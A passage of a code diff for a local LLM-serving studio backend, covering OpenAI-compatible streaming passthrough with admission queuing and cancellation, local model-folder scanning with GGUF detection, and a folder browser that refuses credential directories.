if not saw_done and not saw_stream_error and not cancel_event.is_set(): + # Synthesize a finish chunk only if one was not already + # emitted (e.g. before a trailing usage-only chunk), but + # always close with [DONE] whenever the upstream omitted it, + # so the stream ends on the [DONE] sentinel either way. + if healer is not None: + for held_line in _healer_sse_lines(healer.finalize()): + _monitor_openai_sse_line( + monitor_id, held_line, llama_backend.context_length + ) + yield held_line + "\n\n" + if not saw_finish_reason: + finish_line = _synthetic_finish_line() + _monitor_openai_sse_line( + monitor_id, + finish_line, + llama_backend.context_length, + ) + yield finish_line + "\n\n" + done_line = _SSE_DONE_LINE + _monitor_openai_sse_line( + monitor_id, + done_line, + llama_backend.context_length, + ) + yield done_line + "\n\n" + monitor_done = True if not monitor_done: api_monitor.finish( monitor_id, @@ -9275,6 +13766,29 @@ async def _openai_passthrough_stream( except asyncio.CancelledError: api_monitor.finish(monitor_id, "cancelled") raise + except httpx.ReadTimeout as e: + if terminal_seen and not saw_stream_error and not cancel_event.is_set(): + done_line = _SSE_DONE_LINE + _monitor_openai_sse_line( + monitor_id, + done_line, + llama_backend.context_length, + ) + yield done_line + "\n\n" + api_monitor.finish(monitor_id) + return + if cancel_event.is_set(): + api_monitor.finish(monitor_id, "cancelled") + return + logger.error( + "openai passthrough stream %s: %s", + "stalled mid-response" if saw_stream_item else "timeout", + e, + ) + api_monitor.fail(monitor_id, _friendly_error(e)) + get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e) + err = _openai_stream_error_chunk(e) + yield _openai_stream_error_sse(err) except (httpx.RemoteProtocolError, httpx.ReadError, httpx.CloseError) as e: # Watcher closed resp on cancel. Emit nothing extra; the client # initiated the cancel or already disconnected. @@ -9283,6 +13797,16 @@ async def _openai_passthrough_stream( get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e) raise api_monitor.finish(monitor_id, "cancelled") + except HTTPException as exc: + status_code = getattr(exc, "status_code", 500) or 500 + detail = exc.detail + error_payload = ( + detail + if isinstance(detail, dict) and "error" in detail + else openai_error_body(str(detail), status = status_code) + ) + api_monitor.fail(monitor_id, str(detail)) + yield _openai_stream_error_sse(error_payload) except Exception as e: if cancel_event.is_set(): api_monitor.finish(monitor_id, "cancelled") @@ -9292,19 +13816,64 @@ async def _openai_passthrough_stream( api_monitor.fail(monitor_id, _friendly_error(e)) get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e) err = _openai_stream_error_chunk(e) - yield f"data: {json.dumps(err)}\n\n" + yield _openai_stream_error_sse(err) finally: - await _aclose_stream_resources( - watchers = (cancel_watcher, disconnect_watcher), - iterator = lines_iter, - resp = resp, - client = client, - ) - _tracker.__exit__(None, None, None) + # _aclose_stream_resources re-raises a close-time CancelledError + # only after finishing teardown, and the tracker exits either way. + try: + await _aclose_send_task(send_task) + await _aclose_stream_resources( + watchers = (cancel_watcher, disconnect_watcher), + iterator = lines_iter, + resp = resp, + client = client, + ) + finally: + try: + admission_lease.release() + finally: + _tracker.__exit__(None, None, None) - return _sse_streaming_response(_stream()) - except BaseException: - _tracker.__exit__(None, None, None) + async def _unstarted_cleanup() -> None: + # Client disconnected before the body stream started, so _stream()'s + # finally never ran. Release the eagerly-opened upstream resp/client + # and the cancel-registry entry here; the watchers and line iterator + # are created inside _stream(), so there is nothing else to close. + try: + await _aclose_send_task(send_task) + await _aclose_stream_resources(resp = resp, client = client) + finally: + try: + admission_lease.release() + finally: + _tracker.__exit__(None, None, None) + + return _SameTaskStreamingResponse( + _stream(), + media_type = "text/event-stream", + headers = { + "Cache-Control": "no-cache", + "Connection": "close", + "X-Accel-Buffering": "no", + }, + unstarted_cleanup = _unstarted_cleanup, + ) + except BaseException as exc: + if isinstance(exc, asyncio.CancelledError): + if cancel_event is not None: + cancel_event.set() + api_monitor.finish(monitor_id, "cancelled") + else: + detail = exc.detail if isinstance(exc, HTTPException) else _friendly_error(exc) + api_monitor.fail(monitor_id, str(detail)) + try: + await _aclose_send_task(send_task) + await _aclose_stream_resources(resp = resp, client = client) + finally: + try: + admission_lease.release() + finally: + _tracker.__exit__(None, None, None) raise @@ -9313,6 +13882,109 @@ async def _openai_passthrough_non_streaming( payload, model_name, monitor_id: Optional[str] = None, + *, + request: Optional[Request] = None, + cancel_event = None, +): + """Non-streaming pass-through guarded by local llama-server admission.""" + try: + reservation, admission_config = _openai_llama_admission_reserve( + request = request, + llama_backend = llama_backend, + ) + except LlamaAdmissionQueueFull as exc: + _openai_admission_log( + "queue-full", + snapshot = exc.snapshot, + request = request, + mode = "chat_passthrough_nonstream", + level = "warning", + ) + api_monitor.fail(monitor_id, str(exc)) + raise _openai_admission_http_exception(exc, status_code = 429) + + lease = None + admission_wait_started_at = None + try: + if reservation.lease_nowait() is None: + admission_wait_started_at = time.monotonic() + _openai_admission_log( + "queued", + reservation, + request = request, + mode = "chat_passthrough_nonstream", + level = "debug", + ) + lease = await _wait_for_openai_admission_non_streaming( + reservation, + admission_config, + request = request, + cancel_event = cancel_event, + ) + if admission_wait_started_at is not None: + _openai_admission_log( + "granted-after-wait", + reservation, + request = request, + mode = "chat_passthrough_nonstream", + wait_started_at = admission_wait_started_at, + level = "debug", + ) + await _raise_if_openai_admission_cancelled( + reservation, + request = request, + cancel_event = cancel_event, + ) + return await _openai_passthrough_non_streaming_upstream( + llama_backend, + payload, + model_name, + monitor_id = monitor_id, + request = request, + cancel_event = cancel_event, + ) + except LlamaAdmissionTimeout as exc: + _openai_admission_log( + "timeout", + reservation, + request = request, + mode = "chat_passthrough_nonstream", + wait_started_at = admission_wait_started_at, + level = "warning", + ) + api_monitor.fail(monitor_id, str(exc)) + raise _openai_admission_http_exception(exc, status_code = 503) + except LlamaAdmissionCancelled as exc: + _openai_admission_log( + "cancelled-before-upstream", + reservation, + request = request, + mode = "chat_passthrough_nonstream", + wait_started_at = admission_wait_started_at, + level = "debug", + ) + api_monitor.finish(monitor_id, "cancelled") + raise HTTPException( + status_code = 499, + detail = _openai_admission_error_body(exc, status_code = 499), + ) + except asyncio.CancelledError: + api_monitor.finish(monitor_id, "cancelled") + reservation.cancel() + raise + finally: + if lease is not None: + lease.release() + + +async def _openai_passthrough_non_streaming_upstream( + llama_backend, + payload, + model_name, + monitor_id: Optional[str] = None, + *, + request: Optional[Request] = None, + cancel_event = None, ): """Non-streaming client-side pass-through for /v1/chat/completions. @@ -9321,20 +13993,67 @@ async def _openai_passthrough_non_streaming( ``tool_calls``, and accurate ``usage`` token counts. """ target_url = f"{llama_backend.base_url}/v1/chat/completions" + upstream_headers = _openai_passthrough_upstream_headers(llama_backend = llama_backend) body = _build_openai_passthrough_body( payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend ) + body["stream"] = False + body.pop("stream_options", None) _truncate_budget = ( _OVERFLOW_TRUNCATE_MAX_RETRIES if _overflow_truncation_requested(payload) else 0 ) - while True: - try: - resp = await nonstreaming_client().post( + + async def _post(body_to_send): + if cancel_event is None and request is None: + return await nonstreaming_client().post( target_url, - json = body, + json = body_to_send, + headers = upstream_headers, timeout = _llama_non_streaming_generation_timeout(), ) + + if cancel_event is None: + cancel = threading.Event() + else: + cancel = cancel_event + client = _cancelable_nonstreaming_client() + watcher = asyncio.create_task( + _await_cancel_or_disconnect_then_close_client( + cancel_event = cancel, + request = request, + client = client, + ) + ) + try: + try: + response = await client.post( + target_url, + json = body_to_send, + headers = upstream_headers, + timeout = _llama_non_streaming_generation_timeout(), + ) + except httpx.RequestError: + if cancel.is_set(): + raise asyncio.CancelledError() + raise + if cancel.is_set(): + raise asyncio.CancelledError() + return response + finally: + watcher.cancel() + try: + await watcher + except (asyncio.CancelledError, Exception): + pass + try: + await client.aclose() + except Exception: + pass + + while True: + try: + resp = await _post(body) except asyncio.CancelledError: api_monitor.finish(monitor_id, "cancelled") raise @@ -9372,6 +14091,9 @@ async def _openai_passthrough_non_streaming( _guided_fence = bool((payload.model_extra or {}).get("_unsloth_guided_fence")) _do_fence = _guided_fence and _extract_response_format(payload) is not None _cap_parallel = payload.parallel_tool_calls is False + _allowed_tools = heal_gate( + payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice") + ) try: data = resp.json() @@ -9384,6 +14106,32 @@ async def _openai_passthrough_non_streaming( api_monitor.finish(monitor_id) return Response(content = resp.content, media_type = "application/json") + # Opt-in single-retry nudge: the model clearly tried to call a tool (signal + # present) but nothing parseable/declared came out, so re-ask once with the + # original prompt prefix intact (llama-server reuses the slot's KV cache) + # plus a two-message nudge suffix. The retry replaces the original response + # only when it actually yields a usable call. + if ( + _allowed_tools + and nudge_enabled(payload.nudge_tool_calls) + and nudge_should_retry(data, _allowed_tools, body.get("tools")) + ): + retry_body = { + **body, + "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)], + } + try: + retry_resp = await _post(retry_body) + if retry_resp.status_code == 200: + retry_data = retry_resp.json() + if response_has_promotable_calls(retry_data, _allowed_tools, body.get("tools")): + resp, data = retry_resp, retry_data + except asyncio.CancelledError: + api_monitor.finish(monitor_id, "cancelled") + raise + except (httpx.RequestError, ValueError) as exc: + logger.warning("tool-call nudge retry failed; keeping original: %s", exc) + changed = False for choice in data.get("choices", []): if not isinstance(choice, dict): @@ -9392,6 +14140,17 @@ async def _openai_passthrough_non_streaming( if not isinstance(msg, dict): continue + # Small models emit tool calls as text instead of structured tool_calls; + # promote them (declared client tools only) so the agent sees a real call. + # Truncation wins over the upgrade (same rule as the streaming and + # Anthropic paths): a call cut off at max_tokens keeps + # finish_reason="length" so the client knows the arguments may be + # incomplete, while the healed call itself stays attached. + if _allowed_tools and heal_openai_message(msg, _allowed_tools, body.get("tools")): + if choice.get("finish_reason") == "stop": + choice["finish_reason"] = "tool_calls" + changed = True + # OpenAI requires content=null on a pure tool-call turn; llama-server # emits content="". if msg.get("tool_calls") and msg.get("content") == "": diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py index c17bb6fb57..c23ab1d428 100644 --- a/studio/backend/routes/models.py +++ b/studio/backend/routes/models.py @@ -7,11 +7,13 @@ import asyncio import hashlib import json import os +import re import shutil import sys import uuid from pathlib import Path from fastapi import APIRouter, Body, Depends, Header, HTTPException, Query +from pydantic import BaseModel from typing import List, Optional import structlog from loggers import get_logger @@ -22,10 +24,27 @@ import re as _re _VALID_REPO_ID = _re.compile(r"^[A-Za-z0-9._-]+/[A-Za-z0-9._-]+$") +class CachedModelRepo(BaseModel): + repo_id: str + size_bytes: int + last_modified: Optional[float] = None + + +class CachedModelsResponse(BaseModel): + cached: List[CachedModelRepo] + + def _is_valid_repo_id(repo_id: str) -> bool: return bool(_VALID_REPO_ID.fullmatch(repo_id)) +def _normalize_hf_token(hf_token) -> Optional[str]: + if not isinstance(hf_token, str): + return None + token = hf_token.strip() + return token or None + + def _safe_is_dir(path) -> bool: """``Path.is_dir()`` returning ``False`` instead of raising. @@ -40,25 +59,51 @@ def _safe_is_dir(path) -> bool: return False +# Hub repo id shape ("owner/name", no leading separator); anything else is +# treated as a local filesystem path. +_HF_REPO_ID_RE = re.compile(r"^[A-Za-z0-9][\w.\-]*/[\w.\-]+$") + + def _is_hidden_model(*values: str | None) -> bool: """True if any id/path is the RAG embedding model (EMBEDDING_MODEL or EMBED_GGUF_REPO basename) or the llama.cpp install validation probe (ggml-org/models / stories260K), so pickers hide them (GGUF and non-GGUF). None are usable chat models; the probe can be cached as a side effect of installing the prebuilt llama-server and otherwise sorts smallest, so it - would be auto-selected.""" + would be auto-selected. A local-path embedder is matched by exact resolved + path only: a generic basename like "model" must not substring-hide + unrelated chat models.""" from core.rag import config as rag_config - needles = ( - rag_config.EMBEDDING_MODEL.split("/")[-1].lower(), - rag_config.EMBED_GGUF_REPO.split("/")[-1].lower(), + needles = [ # The validation probe's repo (matches the cached repo id) and its exact # filename (matches the on-disk path). The filename carries the .gguf so # it does not hide unrelated repos like ``user/stories260K-finetune-GGUF``. "ggml-org/models", "stories260k.gguf", - ) - return any(v and any(n in v.lower() for n in needles) for v in values) + ] + exact_paths: list[str] = [] + for model in ( + rag_config.effective_embedding_model(), + rag_config.effective_gguf_repo(), + ): + if _HF_REPO_ID_RE.match(model): + needles.append(model.split("/")[-1].lower()) + else: + resolved = _safe_resolve(Path(model).expanduser()) + if resolved: + exact_paths.append(resolved.lower()) + for v in values: + if not v: + continue + low = v.lower() + if any(n in low for n in needles): + return True + if exact_paths: + resolved = _safe_resolve(Path(v).expanduser()) + if resolved and resolved.lower() in exact_paths: + return True + return False def _safe_resolve(path: Path) -> Optional[str]: @@ -74,6 +119,7 @@ if str(backend_path) not in sys.path: sys.path.insert(0, str(backend_path)) from auth.authentication import get_current_subject +from hub.dependencies import get_hf_token try: from utils.models import ( @@ -225,6 +271,29 @@ def _is_model_directory(d: Path) -> bool: return False +# Weight ``.bin`` files the local scanners accept (PyTorch checkpoints), as +# opposed to companion ``.bin`` files like ``tokenizer.bin``. Mirrors the gating +# in ``_is_weight_file`` so every weight check classifies the same files. +_WEIGHT_BIN_PREFIXES = ("pytorch_model", "model", "adapter_model", "consolidated") + + +def _is_weight_bin(name: str) -> bool: + low = name.lower() + return low.endswith(".bin") and low.startswith(_WEIGHT_BIN_PREFIXES) + + +def _has_non_gguf_weights(path: Path) -> bool: + """True if *path* holds non-GGUF weight files (``.safetensors`` or a weight + ``.bin``), ignoring companion ``.bin`` files such as ``tokenizer.bin`` so a + GGUF-only folder is not misread as a plain checkpoint.""" + try: + if any(path.glob("*.safetensors")): + return True + return any(_is_weight_bin(f.name) for f in path.glob("*.bin")) + except OSError: + return False + + def _scan_models_dir(models_dir: Path, *, limit: int | None = None) -> List[LocalModelInfo]: if not models_dir.exists() or not models_dir.is_dir(): return [] @@ -242,6 +311,7 @@ def _scan_models_dir(models_dir: Path, *, limit: int | None = None) -> List[Loca display_name = models_dir.name, path = str(models_dir), source = "models_dir", + model_format = _dir_model_format(models_dir), updated_at = updated_at, ), ] @@ -253,13 +323,12 @@ def _scan_models_dir(models_dir: Path, *, limit: int | None = None) -> List[Loca try: if not child.is_dir(): continue - has_model_files = ( - (child / "config.json").exists() - or (child / "adapter_config.json").exists() - or any(child.glob("*.safetensors")) - or any(child.glob("*.bin")) - or any(child.glob("*.gguf")) - ) + has_gguf = any(child.glob("*.gguf")) + has_non_gguf_weights = _has_non_gguf_weights(child) + has_config = (child / "config.json").exists() or ( + child / "adapter_config.json" + ).exists() + has_model_files = has_gguf or has_non_gguf_weights or has_config except OSError: # Skip unreadable children rather than failing the scan. continue @@ -269,12 +338,17 @@ def _scan_models_dir(models_dir: Path, *, limit: int | None = None) -> List[Loca updated_at = child.stat().st_mtime except OSError: updated_at = None + # A folder whose only weights are .gguf is GGUF-format even when it also + # ships a config.json (common for HF GGUF repos); such folders often lack + # a -GGUF suffix, so surface the format for the UI's GGUF classification. + model_format = "gguf" if has_gguf and not has_non_gguf_weights else None found.append( LocalModelInfo( id = str(child), display_name = child.name, path = str(child), source = "models_dir", + model_format = model_format, updated_at = updated_at, ), ) @@ -294,6 +368,7 @@ def _scan_models_dir(models_dir: Path, *, limit: int | None = None) -> List[Loca display_name = gguf_file.stem, path = str(gguf_file), source = "models_dir", + model_format = "gguf", updated_at = updated_at, ), ) @@ -333,6 +408,21 @@ def _scan_hf_cache(cache_dir: Path) -> List[LocalModelInfo]: return found +def _dir_model_format(path: Path) -> Optional[str]: + """Return ``"gguf"`` for a directory whose only weights are ``.gguf`` files. + + LM Studio and custom GGUF folders frequently lack a ``-GGUF`` name suffix, + so the UI relies on this hint to route them through the GGUF load path + rather than treating them as plain local checkpoints. + """ + try: + if not any(path.glob("*.gguf")): + return None + return None if _has_non_gguf_weights(path) else "gguf" + except OSError: + return None + + def _scan_lmstudio_dir(lm_dir: Path) -> List[LocalModelInfo]: """Scan an LM Studio models directory for model files. @@ -355,6 +445,7 @@ def _scan_lmstudio_dir(lm_dir: Path) -> List[LocalModelInfo]: display_name = lm_dir.name, path = str(lm_dir), source = "lmstudio", + model_format = _dir_model_format(lm_dir), updated_at = updated_at, ), ] @@ -374,6 +465,7 @@ def _scan_lmstudio_dir(lm_dir: Path) -> List[LocalModelInfo]: display_name = child.stem, path = str(child), source = "lmstudio", + model_format = "gguf", updated_at = updated_at, ), ) @@ -392,6 +484,7 @@ def _scan_lmstudio_dir(lm_dir: Path) -> List[LocalModelInfo]: display_name = child.name, path = str(child), source = "lmstudio", + model_format = _dir_model_format(child), updated_at = updated_at, ), ) @@ -420,6 +513,7 @@ def _scan_lmstudio_dir(lm_dir: Path) -> List[LocalModelInfo]: display_name = model_dir.name, path = str(model_dir), source = "lmstudio", + model_format = _dir_model_format(model_dir), updated_at = updated_at, ), ) @@ -435,6 +529,7 @@ def _scan_lmstudio_dir(lm_dir: Path) -> List[LocalModelInfo]: display_name = model_dir.stem, path = str(model_dir), source = "lmstudio", + model_format = "gguf", updated_at = updated_at, ), ) @@ -673,6 +768,94 @@ def _scan_ollama_dir(ollama_dir: Path, limit: Optional[int] = None) -> List[Loca return found +def collect_local_models(models_root: Path) -> List[LocalModelInfo]: + """Scan ``models_root``, the HF caches, LM Studio dirs, and user scan folders, + returning a deduplicated, hidden-filtered list of discovered local models. + + Shared by ``GET /models/local`` (the model picker) and the OpenAI-compatible + catalog (``GET /v1/models``) so the UI and the API never drift. ``models_root`` + must already be validated/trusted by the caller. + """ + from storage.studio_db import list_scan_folders + from utils.paths import ( + hf_default_cache_dir, + legacy_hf_cache_dir, + lmstudio_model_dirs, + ) + + hf_cache_dir = _resolve_hf_cache_dir() + legacy_hf = legacy_hf_cache_dir() + hf_default = hf_default_cache_dir() + lm_dirs = lmstudio_model_dirs() + + local_models = _scan_models_dir(models_root) + _scan_hf_cache(hf_cache_dir) + + # Resolve once; an inaccessible aux cache must skip that scan, not 500. + hf_cache_real = _safe_resolve(hf_cache_dir) + legacy_real = _safe_resolve(legacy_hf) + default_real = _safe_resolve(hf_default) + + # Scan legacy Unsloth HF cache for backward compatibility. + if _safe_is_dir(legacy_hf) and legacy_real != hf_cache_real: + local_models += _scan_hf_cache(legacy_hf) + + # Scan HF system default cache (may differ under env overrides). + if _safe_is_dir(hf_default) and default_real != hf_cache_real and default_real != legacy_real: + local_models += _scan_hf_cache(hf_default) + + # Scan LM Studio directories. + for lm_dir in lm_dirs: + local_models += _scan_lmstudio_dir(lm_dir) + + # Scan user-added custom folders (per-folder cap). + _MAX_MODELS_PER_FOLDER = 200 + try: + custom_folders = list_scan_folders() + except Exception as e: + logger.warning("Could not load custom scan folders: %s", e) + custom_folders = [] + for folder in custom_folders: + folder_path = Path(folder["path"]) + try: + # Filter Ollama .studio_links/ from generic scanners to + # avoid duplicates and leaking internal paths into the UI. + _generic = [ + m + for m in ( + _scan_models_dir(folder_path, limit = _MAX_MODELS_PER_FOLDER) + + _scan_hf_cache(folder_path) + + _scan_lmstudio_dir(folder_path) + ) + if not any(p in (".studio_links", "ollama_links") for p in Path(m.path).parts) + ] + custom_models = _generic + if len(custom_models) < _MAX_MODELS_PER_FOLDER: + custom_models += _scan_ollama_dir( + folder_path, + limit = _MAX_MODELS_PER_FOLDER - len(custom_models), + ) + except OSError as e: + logger.warning("Skipping unreadable scan folder %s: %s", folder_path, e) + continue + local_models += [m.model_copy(update = {"source": "custom"}) for m in custom_models] + + # Deduplicate, but always keep custom folder entries (keyed by + # (id, source)) so they show in the "Custom Folders" UI section + # even when the model is also in the HF cache. + deduped: dict[str, LocalModelInfo] = {} + for model in local_models: + key = f"{model.id}\x00custom" if model.source == "custom" else model.id + if key not in deduped: + deduped[key] = model + + models = sorted( + deduped.values(), + key = lambda item: (item.updated_at or 0), + reverse = True, + ) + return [m for m in models if not _is_hidden_model(m.id, m.path)] + + @router.get("/local", response_model = LocalModelListResponse) async def list_local_models( models_dir: str = Query( @@ -721,78 +904,7 @@ async def list_local_models( ) try: - local_models = _scan_models_dir(models_root) + _scan_hf_cache(hf_cache_dir) - - # Resolve once; an inaccessible aux cache must skip that scan, not 500. - hf_cache_real = _safe_resolve(hf_cache_dir) - legacy_real = _safe_resolve(legacy_hf) - default_real = _safe_resolve(hf_default) - - # Scan legacy Unsloth HF cache for backward compatibility. - if _safe_is_dir(legacy_hf) and legacy_real != hf_cache_real: - local_models += _scan_hf_cache(legacy_hf) - - # Scan HF system default cache (may differ under env overrides). - if ( - _safe_is_dir(hf_default) - and default_real != hf_cache_real - and default_real != legacy_real - ): - local_models += _scan_hf_cache(hf_default) - - # Scan LM Studio directories. - for lm_dir in lm_dirs: - local_models += _scan_lmstudio_dir(lm_dir) - - # Scan user-added custom folders (per-folder cap). - from storage.studio_db import list_scan_folders - - _MAX_MODELS_PER_FOLDER = 200 - try: - custom_folders = list_scan_folders() - except Exception as e: - logger.warning("Could not load custom scan folders: %s", e) - custom_folders = [] - for folder in custom_folders: - folder_path = Path(folder["path"]) - try: - # Filter Ollama .studio_links/ from generic scanners to - # avoid duplicates and leaking internal paths into the UI. - _generic = [ - m - for m in ( - _scan_models_dir(folder_path, limit = _MAX_MODELS_PER_FOLDER) - + _scan_hf_cache(folder_path) - + _scan_lmstudio_dir(folder_path) - ) - if not any(p in (".studio_links", "ollama_links") for p in Path(m.path).parts) - ] - custom_models = _generic - if len(custom_models) < _MAX_MODELS_PER_FOLDER: - custom_models += _scan_ollama_dir( - folder_path, - limit = _MAX_MODELS_PER_FOLDER - len(custom_models), - ) - except OSError as e: - logger.warning("Skipping unreadable scan folder %s: %s", folder_path, e) - continue - local_models += [m.model_copy(update = {"source": "custom"}) for m in custom_models] - - # Deduplicate, but always keep custom folder entries (keyed by - # (id, source)) so they show in the "Custom Folders" UI section - # even when the model is also in the HF cache. - deduped: dict[str, LocalModelInfo] = {} - for model in local_models: - key = f"{model.id}\x00custom" if model.source == "custom" else model.id - if key not in deduped: - deduped[key] = model - - models = sorted( - deduped.values(), - key = lambda item: (item.updated_at or 0), - reverse = True, - ) - models = [m for m in models if not _is_hidden_model(m.id, m.path)] + models = collect_local_models(models_root) return LocalModelListResponse( models_dir = str(models_root), @@ -847,13 +959,88 @@ async def remove_scan_folder_endpoint( return {"ok": True} +def _dir_has_downloaded_model(directory: Path, max_entries: int = 4000) -> bool: + """True if *directory* actually holds a downloaded model. + + Recommended-folder chips should only appear once the well-known dir + has real weights, not just an empty LM Studio/Ollama scaffold. Two + layouts: a GGUF/safetensors/PyTorch-bin weight file anywhere in the + tree (LM Studio, plain dirs) or the Ollama content-addressable store + (a non-empty ``manifests/`` beside ``blobs/``, whose blobs carry no + extension). Weight detection mirrors the local scanner so a folder the + chip leads to is one the scanner would actually surface a model from. + Bounded by *max_entries* so a huge tree can't stall the request. + """ + # Ollama layout: each manifest is JSON referencing content-addressable + # blobs. A manifest file alone is not enough -- a failed or pruned pull + # leaves the manifest behind with its model blob missing, so we resolve the + # ``application/vnd.ollama.image.model`` layer to an on-disk blob before + # counting it, mirroring _scan_ollama_dir (which only surfaces a model once + # its blob resolves). Otherwise the chip leads to an empty picker. + visited = 0 + manifests = directory / "manifests" + blobs = directory / "blobs" + try: + if _safe_is_dir(manifests) and _safe_is_dir(blobs): + for m in manifests.rglob("*"): + visited += 1 + if visited > max_entries: + break + if not m.is_file(): + continue + try: + manifest = json.loads(m.read_text()) + except (json.JSONDecodeError, OSError, ValueError): + continue + for layer in manifest.get("layers") or []: + if layer.get("mediaType") != "application/vnd.ollama.image.model": + continue + digest = layer.get("digest", "") + if digest and (blobs / digest.replace(":", "-")).is_file(): + return True + except OSError: + pass + # Generic weights: any GGUF/safetensors in a bounded BFS that skips hidden + # directories (``.git``/``.cache``/venvs). ``rglob`` walks in arbitrary order + # and counts every entry, so a large hidden subtree could exhaust the budget + # before reaching real weights and falsely report "no model". + queue = [directory] + visited = 0 + while queue: + current = queue.pop(0) + try: + entries = list(current.iterdir()) + except OSError: + continue + for entry in entries: + visited += 1 + if visited > max_entries: + return False + try: + if entry.is_dir(): + if not entry.name.startswith("."): + queue.append(entry) + else: + low = entry.name.lower() + if low.endswith((".gguf", ".safetensors")): + return True + # PyTorch checkpoints the scanner also accepts; gate by name + # so tokenizer.bin and friends don't count as weights. + if _is_weight_bin(entry.name): + return True + except OSError: + continue + return False + + @router.get("/recommended-folders") async def get_recommended_folders(current_subject: str = Depends(get_current_subject)): - """Return well-known model directories that exist on this machine. + """Return well-known model directories that hold a downloaded model. Lightweight alternative to ``browse-folders`` for the frontend's - one-click "Recommended" chips; returns existing paths only (HF - cache, LM Studio, Ollama, ``~/models``, etc.). + one-click "Recommended" chips. Only paths that actually contain + weights are returned, so an empty LM Studio/Ollama scaffold no longer + shows up as a suggestion. """ from utils.paths.storage_roots import lmstudio_model_dirs @@ -869,7 +1056,11 @@ async def get_recommended_folders(current_subject: str = Depends(get_current_sub return if resolved in seen: return - if _safe_is_dir(resolved) and os.access(resolved, os.R_OK | os.X_OK): + if ( + _safe_is_dir(resolved) + and os.access(resolved, os.R_OK | os.X_OK) + and _dir_has_downloaded_model(Path(resolved)) + ): seen.add(resolved) folders.append(resolved) @@ -1011,6 +1202,7 @@ def _build_browse_allowlist() -> list[Path]: legacy_hf_cache_dir, well_known_model_dirs, ) + from utils.paths.external_media import linux_run_media_mount_roots from storage.studio_db import list_scan_folders candidates: list[Path] = [] @@ -1026,6 +1218,8 @@ def _build_browse_allowlist() -> list[Path]: candidates.append(resolved) _add(Path.home()) + for p in linux_run_media_mount_roots(): + _add(p) _add(_resolve_hf_cache_dir()) try: _add(hf_default_cache_dir()) @@ -1145,6 +1339,8 @@ def _match_browse_child(current: Path, name: str) -> Optional[Path]: def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Path: """Resolve a requested browse path by walking from trusted allowlist roots.""" + from storage.studio_db import contains_sensitive_path_component + requested_path = _normalize_browse_request_path(path) resolved_roots: list[Path] = [] seen_roots: set[str] = set() @@ -1195,8 +1391,18 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa "under your home folder." ), ) + if contains_sensitive_path_component(str(resolved_child)): + raise HTTPException( + status_code = 403, + detail = "Credential or configuration directories are not browseable.", + ) current = resolved_child + if contains_sensitive_path_component(str(current)): + raise HTTPException( + status_code = 403, + detail = "Credential or configuration directories are not browseable.", + ) if not current.is_dir(): raise HTTPException( status_code = 400, @@ -1244,7 +1450,8 @@ async def browse_folders( then hidden (if ``show_hidden=true``). """ from utils.paths import hf_default_cache_dir, well_known_model_dirs - from storage.studio_db import list_scan_folders + from utils.paths.external_media import linux_run_media_mount_roots + from storage.studio_db import contains_sensitive_path_component, list_scan_folders # Build once; the sandbox check and suggestion chips share it. allowed_roots = _build_browse_allowlist() @@ -1297,6 +1504,8 @@ async def browse_folders( is_hidden = name.startswith(".") if is_hidden and not show_hidden: continue + if contains_sensitive_path_component(name): + continue entries.append( BrowseEntry( name = name, @@ -1350,6 +1559,8 @@ async def browse_folders( # Home first -- the safe fallback when everything else is cold. _add_sug(Path.home()) + for p in linux_run_media_mount_roots(): + _add_sug(p) # The HF cache root the process is actually using. try: _add_sug(hf_default_cache_dir()) @@ -1582,6 +1793,23 @@ async def get_model_config( ) +def _consent_provider( + model_name: str, + scanned_targets: List[str], + external_refs: Optional[List[str]] = None, +) -> Optional[str]: + """HF org for the consent dialog's `from ""` tag, or None. + + Returns the owner only for a single, non-local, canonical ``owner/repo`` id; a LoRA's + extra base, a local path, or an external ``auto_map`` ref yields None so the dialog + never misattributes scanned code. + """ + if len(scanned_targets) != 1 or external_refs or is_local_path(model_name): + return None + parts = model_name.split("/") + return parts[0] if len(parts) == 2 and all(parts) else None + + @router.post("/remote-code-scan") async def scan_model_remote_code( model_name: str = Body(..., embed = True), @@ -1645,19 +1873,32 @@ async def scan_model_remote_code( except Exception: pass + external_refs: list = [] for _target in security_targets: # Use the pre-base-resolution snapshot for the primary (see above). _mark_scan_created( _target, preexisting = _primary_preexisting if _target == model_name else None ) for _ext in external_auto_map_repos(_target, hf_token): + external_refs.append(_ext) _mark_scan_created(_ext) - decision = preflight_remote_code_consent_for_targets(security_targets, hf_token = hf_token) + decision = preflight_remote_code_consent_for_targets( + security_targets, hf_token = hf_token, subject = current_subject + ) payload = decision.response_payload() payload["requires_trust_remote_code"] = decision.has_remote_code + # Prior approval for the unchanged repo lets the dialog be skipped; the scan still + # ran, so this is a real fingerprint match under the current ruleset. + payload["already_approved"] = ( + decision.has_remote_code + and not decision.blocked + and decision.reason == "approved by fingerprint" + ) # created_by_scan = primary flag (older clients); scan_created_repos drives cleanup. payload["created_by_scan"] = model_name in scan_created_repos payload["scan_created_repos"] = scan_created_repos + # Provider tag decided here, where locality/scan scope/external refs are known. + payload["provider"] = _consent_provider(model_name, security_targets, external_refs) # Malware gate (metadata-only): surface HF-flagged unsafe files so the dialog can # hard-block. Orthogonal to remote code -- a poisoned pickle needs no auto_map. @@ -2249,113 +2490,211 @@ async def check_embedding_model( ) +def _read_native_context_length(repo_id: str, is_local: bool) -> Optional[int]: + """Native max context from a downloaded GGUF for this repo, or None. + + The value is identical across quants, so reading one non-mmproj shard's + header is enough. Only resolves once a file is on disk. Never raises. + """ + try: + from utils.models.gguf_metadata import read_gguf_context_length + if is_local: + roots = [Path(repo_id)] + else: + from huggingface_hub import constants as hf_constants + + if not _is_valid_repo_id(repo_id): + return None + cache_dir = Path(hf_constants.HF_HUB_CACHE) + target = f"models--{repo_id.replace('/', '--')}".lower() + roots = [e for e in cache_dir.iterdir() if e.name.lower() == target] + + for root in roots: + for f in _iter_gguf_paths(root): + if _is_mmproj_filename(f.name): + continue + n = read_gguf_context_length(str(f)) + if n: + return n + except Exception: + pass + return None + + +def _resolve_quant_gguf(repo_id: str, quant: str, is_local: bool) -> tuple[Optional[str], int]: + """Primary shard path and total weight bytes for a downloaded quant, or + (None, 0). Metadata lives in shard 1, so the 